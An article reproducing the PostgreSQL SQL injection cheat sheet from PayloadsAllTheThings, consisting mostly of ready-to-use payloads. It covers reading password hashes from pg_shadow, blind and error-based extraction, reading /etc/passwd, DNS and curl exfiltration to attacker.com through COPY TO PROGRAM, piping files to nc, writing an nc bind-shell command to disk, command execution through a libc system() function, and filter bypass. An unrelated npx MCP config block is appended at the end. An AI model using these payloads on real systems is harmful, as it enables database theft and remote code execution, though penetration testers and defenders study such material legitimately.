PostgreSQL Specific SQL Injection Payloads: A Complete Cheat Sheet from PayloadsAllTheThings

PostgreSQL-specific SQL injection payloads leverage proprietary functions like pg_sleep(), pg_read_file(), and COPY ... PROGRAM to enumerate databases, exfiltrate data via out-of-band channels, read server files, and achieve remote code execution when standard UNION-based techniques are insufficient.

The swisskyrepo/PayloadsAllTheThings repository maintains the definitive collection of these attacks in SQL Injection/PostgreSQL Injection.md, organizing them by exploitation technique from basic comment injection to advanced command execution. Below is a structured reference to these PostgreSQL-specific payloads, including exact file paths and function signatures as implemented in the source material.

Comment Injection Syntax

PostgreSQL supports standard SQL comment syntax that terminates query parsing early. According to the repository's PostgreSQL Injection guide, single-line comments use double-hyphens (--) while multi-line comments use C-style delimiters (/**/).

The following syntax breaks the original query structure:

SELECT * FROM users WHERE id = 1 --' AND password = 'hash';
SELECT * FROM users WHERE id = 1 /*' AND password = 'hash'*/;

Source: SQL Injection/PostgreSQL Injection.md – Comments section.

Information Disclosure and Enumeration

PostgreSQL catalogs metadata in system catalogs like pg_user and pg_shadow. The payloads in PostgreSQL Injection.md demonstrate how to extract version strings, database names, and password hashes using built-in functions.

Extract critical server information with these queries:

SELECT version();                         -- Returns PostgreSQL version string
SELECT CURRENT_DATABASE();                -- Current database name
SELECT usename FROM pg_user;              -- List of database users
SELECT usename, passwd FROM pg_shadow;    -- Password hashes (requires superuser privileges)

These functions expose the attack surface and confirm database privileges before attempting complex exploitation chains.

Database Structure Discovery

Understanding table and column layouts requires querying pg_tables and information_schema.columns. The methodology documented in the repository provides progressive discovery techniques.

Enumerate schema objects hierarchically:

SELECT DISTINCT(schemaname) FROM pg_tables;                     -- Available schemas
SELECT tablename FROM pg_tables WHERE schemaname='<SCHEMA>';     -- Tables within schema
SELECT column_name FROM information_schema.columns 
  WHERE table_name='data_table';                                 -- Columns per table

Replace <SCHEMA> and data_table placeholders with discovered names to map the entire database structure.

Error-Based Data Extraction

When applications return verbose PostgreSQL error messages, type-casting failures can leak query results directly in the exception text. This technique forces the database to cast string data into incompatible numeric types.

Force error messages to disclose version information:

AND CAST('~' || (SELECT version())::text || '~' AS NUMERIC) -- Triggers cast error revealing version

The concatenated string appears within the could not convert error message returned by the server.

Blind Injection Techniques

When applications suppress error output, boolean-based and time-based inference methods become necessary. The repository documents substring comparison and delay-based approaches specific to PostgreSQL.

Boolean-Based Substring Checks

Compare string segments to infer data character-by-character:

' AND substr(version(),1,10) = 'PostgreSQL' -- Returns TRUE, query succeeds
' AND substr(version(),1,10) = 'PostgreXXX' -- Returns FALSE, query fails

Time-Based Delay Exfiltration

Use pg_sleep() to introduce measurable delays when conditions match:

SELECT pg_sleep(5);                               -- Simple 5-second delay
SELECT CASE WHEN substring(datname,1,1)='1' 
       THEN pg_sleep(5) ELSE pg_sleep(0) END 
FROM pg_database LIMIT 1;

The CASE statement evaluates boolean conditions and triggers delays only on positive matches, allowing binary search enumeration.

Out-of-Band (OOB) Exfiltration

PostgreSQL's COPY ... TO PROGRAM functionality enables DNS-based data exfiltration to attacker-controlled servers. This method bypasses firewall restrictions by using outbound DNS requests to transmit query results.

Execute DNS-based data theft using anonymous code blocks:

DECLARE c text; p text;
BEGIN
  SELECT INTO p (SELECT YOUR_QUERY_HERE);
  c := 'COPY (SELECT '''') TO PROGRAM ''nslookup ' || p || '.attacker.com''';
  EXECUTE c;
END;

This payload requires PL/pgSQL execution context and sufficient privileges to invoke external programs.

Stacked Query Injection

PostgreSQL supports multiple statements separated by semicolons when the application driver allows stacked queries. This technique appends arbitrary SQL after terminating the original statement.

Append malicious DDL statements:

SELECT 1; CREATE TABLE NOTSOSECURE (DATA VARCHAR(200)); --

Successful execution confirms the ability to modify database schema and potentially write files to the underlying filesystem.

File Manipulation Payloads

PostgreSQL offers native functions for reading server files and multiple methods for writing arbitrary content to disk.

Reading Server Files

Use pg_read_file() and pg_ls_dir() to access the underlying filesystem:

SELECT pg_read_file('PG_VERSION',0,200);   -- Read PostgreSQL version file
SELECT pg_read_file('/etc/passwd',0,1000);   -- Read system password file
SELECT pg_ls_dir('./');                      -- List directory contents

These functions typically require superuser privileges or specific role permissions.

Writing Files via COPY and Large Objects

The repository documents two primary file write vectors: the COPY command and Large Object (LO) functions.

Write shell commands or binary data to disk:

CREATE TABLE tmp(t TEXT);
COPY tmp FROM '/etc/passwd';                -- Import file content into table
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
SELECT lo_import('/etc/passwd');            -- Create large object from file

The COPY TO syntax allows writing arbitrary strings to any file path accessible to the PostgreSQL process owner.

Command Execution Techniques

PostgreSQL enables operating system command execution through COPY ... PROGRAM (version 9.3+) and user-defined C functions linking libc.so.6.

COPY ... PROGRAM Execution

Modern PostgreSQL instances support direct shell command invocation:

COPY (SELECT '') TO PROGRAM 'nslookup attacker.com';
COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(whoami)';

User-Defined C Function Execution

Create a wrapper around the standard C library system() function:

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int 
  AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc attacker 4444');

This method requires CREATE FUNCTION privileges and operates at the operating system level.

WAF Bypass Techniques

PostgreSQL-specific string concatenation and dollar-quoting syntax can evade simplistic Web Application Firewall filters.

Bypass filters using character encoding and alternative quoting:

SELECT CHR(65)||CHR(66)||CHR(67);      -- Constructs 'ABC' without quotes
SELECT $TAG$This is a literal string$TAG$;  -- Dollar-quoted strings (PostgreSQL ≥ 8)
SELECT $TAG$SELECT * FROM secret_table;$TAG$;  -- Bypass quote-based filters

Dollar-quoting ($TAG$...$TAG$) eliminates the need for single quotes, defeating signature-based SQL injection detection patterns.

Privilege Enumeration

Before attempting advanced exploitation, verify current user capabilities using system catalogs.

Check administrative status and table permissions:

SHOW is_superuser;                          -- Returns 'on' or 'off'
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;  -- Boolean superuser check
SELECT * FROM information_schema.role_table_grants 
WHERE grantee = current_user 
  AND table_schema NOT IN ('pg_catalog','information_schema');  -- Accessible tables

Understanding privilege levels determines which file read, write, or command execution payloads will succeed.

Summary

• PostgreSQL-specific SQL injection relies on proprietary functions like pg_sleep(), pg_read_file(), and COPY ... PROGRAM documented in swisskyrepo/PayloadsAllTheThings/SQL Injection/PostgreSQL Injection.md.
• Comment injection uses -- and /**/ syntax to truncate queries, while stacked queries enable multi-statement execution via semicolon delimiters.
• Error-based extraction leverages type-casting failures to leak data in exception messages, and blind techniques use substr() comparisons or pg_sleep() delays for boolean/time-based inference.
• File manipulation payloads read server files using pg_read_file() and write arbitrary content via COPY TO or Large Object functions.
• Command execution achieves remote code execution through COPY ... PROGRAM (PostgreSQL 9.3+) or by creating C-language functions wrapping libc.so.6 system calls.
• WAF bypass techniques employ CHR() concatenation and dollar-quoting ($TAG$) to evade quote-based filtering mechanisms.

Frequently Asked Questions

How do PostgreSQL SQL injection payloads differ from MySQL payloads?

PostgreSQL payloads utilize database-specific functions such as pg_sleep() for time delays, pg_read_file() for filesystem access, and COPY ... PROGRAM for command execution, whereas MySQL relies on sleep(), load_file(), and INTO OUTFILE syntax. Additionally, PostgreSQL supports dollar-quoting ($TAG$) and C-style block comments (/**/) that MySQL handles differently or not at all.

What is the most reliable PostgreSQL payload for blind SQL injection when error messages are suppressed?

The time-based blind technique using pg_sleep() within a CASE statement provides the most reliable extraction method when error output is disabled. The payload SELECT CASE WHEN substring(datname,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM pg_database LIMIT 1 introduces a measurable delay only when the character matches, allowing binary search enumeration without visible output.

Which PostgreSQL function enables remote code execution in modern versions?

The COPY ... TO PROGRAM syntax, available in PostgreSQL 9.3 and later, enables direct operating system command execution by writing query output to a shell program. The syntax COPY (SELECT '') TO PROGRAM 'bash -c \"id > /tmp/out\"' executes arbitrary commands with the privileges of the PostgreSQL server process, provided the user holds superuser or specific role attributes.

How can attackers bypass WAF filters blocking single quotes in PostgreSQL injections?

Attackers bypass quote-based WAF filters using dollar-quoting (e.g., $TAG$string$TAG$) or CHR() concatenation (e.g., CHR(65)||CHR(66)). Dollar-quoting allows string literals without single quotes, while CHR() constructs characters from ASCII values dynamically, defeating signature-based detection patterns that monitor for quote characters.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}